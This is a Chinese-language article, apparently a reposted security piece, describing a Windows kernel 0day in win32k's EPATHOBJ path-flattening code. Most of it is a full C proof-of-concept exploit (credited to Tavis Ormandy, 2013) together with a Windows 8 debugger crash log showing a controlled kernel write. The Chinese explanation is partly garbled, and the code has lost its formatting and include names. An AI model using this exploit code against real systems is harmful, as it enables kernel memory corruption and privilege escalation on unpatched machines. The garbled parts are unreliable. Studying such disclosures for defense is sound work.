Windows内核EPATHOBJ 0day漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历.
如:PathRecord->next = PathRecord;
虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。
首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool
pprFlattenRec :.text:BFA122B8 call newpathrec ;EPATHOBJ::newpathrec(_PATHRECORD **,ulong *,ulong)
.text:BFA122BD cmp eax,1;Checkforfailure
.text:BFA122C0 jz shortcontinue
.text:BFA122C2 xor eax,eax ;Exitearly .text:BFA122C4 jmp early_exit
所以要创建一个这样的节点列表:
PathRecord->Next=PathRecord;PathRecord->Flags=0;
然后 EPATHOBJ::bFlatten()自旋:
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){
/* ... */
for(ppr =ppath->pprfirst;ppr;ppr =ppr->pprnext )
{
if(ppr->flags &PD_BEZIER )
{
ppr =EPATHOBJ::pprFlattenRec(pathobj,ppr);
}
}
/* ... */}
可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞
//EPATHOBJ的::bFlatten()
第一个pprFlattenRec代码块:
if(pprNew->pprPrev )
pprNew->pprPrev->pprnext =pprNew;写入0xCCCCCCCC:DWORD WINAPI WatchdogThread(LPVOID Parameter){## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。
LogMessage(L_INFO,“Watchdogthread %u waiting on Mutex()%p”,
GetCurrentThreadId(),
Mutex);if(WaitForSingleObject(Mutex,CYCLE_TIMEOUT)==WAIT_TIMEOUT){
## 使主(main)线程无法调用FlattenPath(),
## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).
## 然后打补丁列表来触发我们的exploit.
while(NumRegion?C)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR,“InterlockedExchange(%p,%p);”,
&PathRecord->next,&ExploitRecord);
InterlockedExchangePointer(&PathRecord->next,&ExploitRecord);}else{
LogMessage(L_ERROR,“Mutexobject did not timeout,listnot patched”);
}return0;}PathRecord->next =PathRecord;PathRecord->prev =(PVOID)(0×42424242);PathRecord->flags =0;ExploitRecord.next =NULL;ExploitRecord.prev =0xCCCCCCCC;ExploitRecord.flags =PD_BEZIERS;
在Win 8下的输出:
kd>g
**********************************************************************************BugcheckAnalysis**********************************************************************************Use!analyze -v to get detailed debugging information.BugCheck50,{cccccccc,1,8f18972e,2}***WARNING:Unableto verify checksum forComplexPath.exe
***ERROR:Moduleload completed but symbols could not be loaded forComplexPath.exe
Probablycaused by :win32k.sys (win32k!EPATHOBJ::pprFlattenRec+82)Followup:MachineOwner---------
nt!RtlpBreakWithStatusInstruction:810f46f4cc int3
kd>kv
ChildEBPRetAddrArgsto Child
a03ab494 8111c87d00000003c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction(FPO:[1,0,0])
a03ab4e4 8111c11900000003817d5340a03ab8e4 nt!KiBugCheckDebugBreak+0x1c(FPO:[Non-Fpo])
a03ab8b8 810f30ba00000050cccccccc 00000001nt!KeBugCheck2+0x655(FPO:[6,239,4])
a03ab8dc 810f2ff100000050cccccccc 00000001nt!KiBugCheck2+0xc6
a03ab8fc 811a281600000050cccccccc 00000001nt!KeBugCheckEx+0x19
a03ab94c 810896cf00000001cccccccc a03aba2c nt!??::FNODOBFM::`string'+0x31868
a03aba14 8116c4e400000001cccccccc 00000000nt!MmAccessFault+0x42d(FPO:[4,37,4])
a03aba14 8f18972e00000001cccccccc 00000000nt!KiTrap0E+0xdc(FPO:[0,0]TrapFrame@a03aba2c)
a03abbac 8f103c280124eba0a03abbd8 8f248f79win32k!EPATHOBJ::pprFlattenRec+0x82(FPO:[Non-Fpo])
a03abbb8 8f248f791c0107790016fd048f248f18win32k!EPATHOBJ::bFlatten+0x1f(FPO:[0,1,0])
a03abc08 8116918c1c0107790016fd18776d7174win32k!NtGdiFlattenPath+0x61(FPO:[1,15,4])
a03abc08 776d71741c0107790016fd18776d7174nt!KiFastCallEntry+0x12c(FPO:[0,3]TrapFrame@a03abc14)0016fcf476b1552b0124147f1c01077900000040ntdll!KiFastSystemCallRet(FPO:[0,0,0])0016fcf80124147f1c0107790000004000000000GDI32!NtGdiFlattenPath+0xa(FPO:[1,0,0])
WARNING:Stackunwind information not available.Followingframes may be wrong.0016fd1801241ade0000000100202b5000202ec8ComplexPath+0x147f0016fd6076ee18667f0de0000016fdb077716911ComplexPath+0x1ade0016fd6c777169117f0de000bc1d7832 00000000KERNEL32!BaseThreadInitThunk+0xe(FPO:[Non-Fpo])0016fdb0777168bdffffffff 7778560a00000000ntdll!__RtlUserThreadStart+0x4a(FPO:[SEH])0016fdc00000000001241b5b7f0de00000000000ntdll!_RtlUserThreadStart+0x1c(FPO:[Non-Fpo])
kd>.trap a03aba2c
ErrCode=00000002
eax=cccccccc ebx=80206014ecx=80206008edx=85ae1224esi=0124eba0edi=a03abbd8
eip=8f18972eesp=a03abaa0 ebp=a03abbac iopl=0nv up ei ng nz na pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e8918mov dword ptr [eax],ebx ds:0023:cccccccc=????????
kd>vertarget
Windows8KernelVersion9200MP (1procs)Freex86 compatible
Product:WinNt,suite:TerminalServerSingleUserTSBuiltby:9200.16581.x86fre.win8_gdr.130410-1505MachineName:Kernelbase =0x81010000PsLoadedModuleList=0x811fde48Debugsession time:MonMay2014:17:20.2592013(UTC -7:00)SystemUptime:0days 0:02:30.432
kd>.bugcheck
Bugcheckcode 00000050Argumentscccccccc 000000018f18972e00000002
以下是示例代码POC:
#ifndefWIN32_NO_STATUS
# define WIN32_NO_STATUS#endif#include#include#include#include#include#ifdefWIN32_NO_STATUS
# undef WIN32_NO_STATUS#endif#include#pragmacomment(lib,"gdi32")#pragmacomment(lib,"kernel32")#pragmacomment(lib,"user32")#defineMAX_POLYPOINTS (8192*3)#defineMAX_REGIONS 8192#defineCYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy , March 2013//
POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion;
HANDLE Mutex;// Log levels.typedefenum{L_DEBUG,L_INFO,L_WARN,L_ERROR }LEVEL,*PLEVEL;
BOOL LogMessage(LEVEL Level,PCHAR Format,...);// Copied from winddi.h from the DDK#definePD_BEGINSUBPATH 0x00000001#definePD_ENDSUBPATH 0x00000002#definePD_RESETSTYLE 0x00000004#definePD_CLOSEFIGURE 0x00000008#definePD_BEZIERS 0x00000010typedefstruct_POINTFIX
{
ULONG x;
ULONG y;}POINTFIX,*PPOINTFIX;// Approximated from reverse engineering.typedefstruct_PATHRECORD {
struct_PATHRECORD *next;
struct_PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[0];}PATHRECORD,*PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
DWORD WINAPI WatchdogThread(LPVOID Parameter){
// This routine waits for a mutex object to timeout, then patches the
// compromised linked list to point to an exploit. We need to do this.
LogMessage(L_INFO,"Watchdog thread %u waiting on Mutex () %p",
GetCurrentThreadId(),
Mutex);
if(WaitForSingleObject(Mutex,CYCLE_TIMEOUT)==WAIT_TIMEOUT){
// It looks like the main thread is stuck in a call to FlattenPath(),
// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// up, and then patch the list to trigger our exploit.
while(NumRegion--)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR,"InterlockedExchange(%p, %p);",&PathRecord->next,&ExploitRecord);
InterlockedExchangePointer(&PathRecord->next,&ExploitRecord);
}else{
LogMessage(L_ERROR,"Mutex object did not timeout, list not patched");
}
return0;}intmain(intargc,char**argv){
HANDLE Thread;
HDC Device;
ULONG Size;
HRGN Buffer;
ULONG PointNum;
ULONG Count;
// Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord=VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT |MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO,"Alllocated userspace PATHRECORD () %p",PathRecord);
// Initialise with recognisable debugging values.
FillMemory(PathRecord,sizeof(PATHRECORD),0xCC);
PathRecord->next =PathRecord;
PathRecord->prev =(PVOID)(0x42424242);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags =0;
LogMessage(L_INFO,"->next @ %p",PathRecord->next);
LogMessage(L_INFO,"->prev @ %p",PathRecord->prev);
LogMessage(L_INFO,"->flags @ %u",PathRecord->flags);
ExploitRecord.next =NULL;
ExploitRecord.prev =0xCCCCCCCC;
ExploitRecord.flags =PD_BEZIERS;
LogMessage(L_INFO,"Creating complex bezier path with %#x",(ULONG)(PathRecord)>>4);
// Generate a large number of Bezier Curves made up of pointers to our
// PATHRECORD object.
for(PointNum=0;PointNum
Points[PointNum].x =(ULONG)(PathRecord)>>4;
Points[PointNum].y =(ULONG)(PathRecord)>>4;
PointTypes[PointNum]=PT_BEZIERTO;
}
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop("DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
Mutex=CreateMutex(NULL,TRUE,NULL);
// Get a handle to this Desktop.
Device=GetDC(NULL);
// Spawn a thread to cleanup
Thread=CreateThread(NULL,0,WatchdogThread,NULL,0,NULL);
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for(Size=1<<26;Size;Size>>=1){
while(Regions[NumRegion]=CreateRoundRectRgn(0,0,1,Size,1,1))
NumRegion++;
}
LogMessage(L_INFO,"Allocated %u HRGN objects",NumRegion);
LogMessage(L_INFO,"Flattening curves...");
// Begin filling the free list with our points.
for(PointNum=MAX_POLYPOINTS;PointNum;PointNum-=3){
BeginPath(Device);
PolyDraw(Device,Points,PointTypes,PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
LogMessage(L_INFO,"No luck, cleaning up");
// If we reach here, we didn't trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
ReleaseDC(NULL,Device);
WaitForSingleObject(Thread,INFINITE);
return0;}// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level,PCHAR Format,...){
CHAR Buffer[1024]={0};
va_list Args;
va_start(Args,Format);
vsnprintf_s(Buffer,sizeofBuffer,_TRUNCATE,Format,Args);
va_end(Args);
switch(Level){
caseL_DEBUG:fprintf(stdout,"[?] %s\n",Buffer);break;
caseL_INFO:fprintf(stdout,"[+] %s\n",Buffer);break;
caseL_WARN:fprintf(stderr,"[*] %s\n",Buffer);break;
caseL_ERROR:fprintf(stderr,"[!] %s\n\a",Buffer);break;
}
fflush(stdout);
fflush(stderr);
returnTRUE;}
(责任编辑:)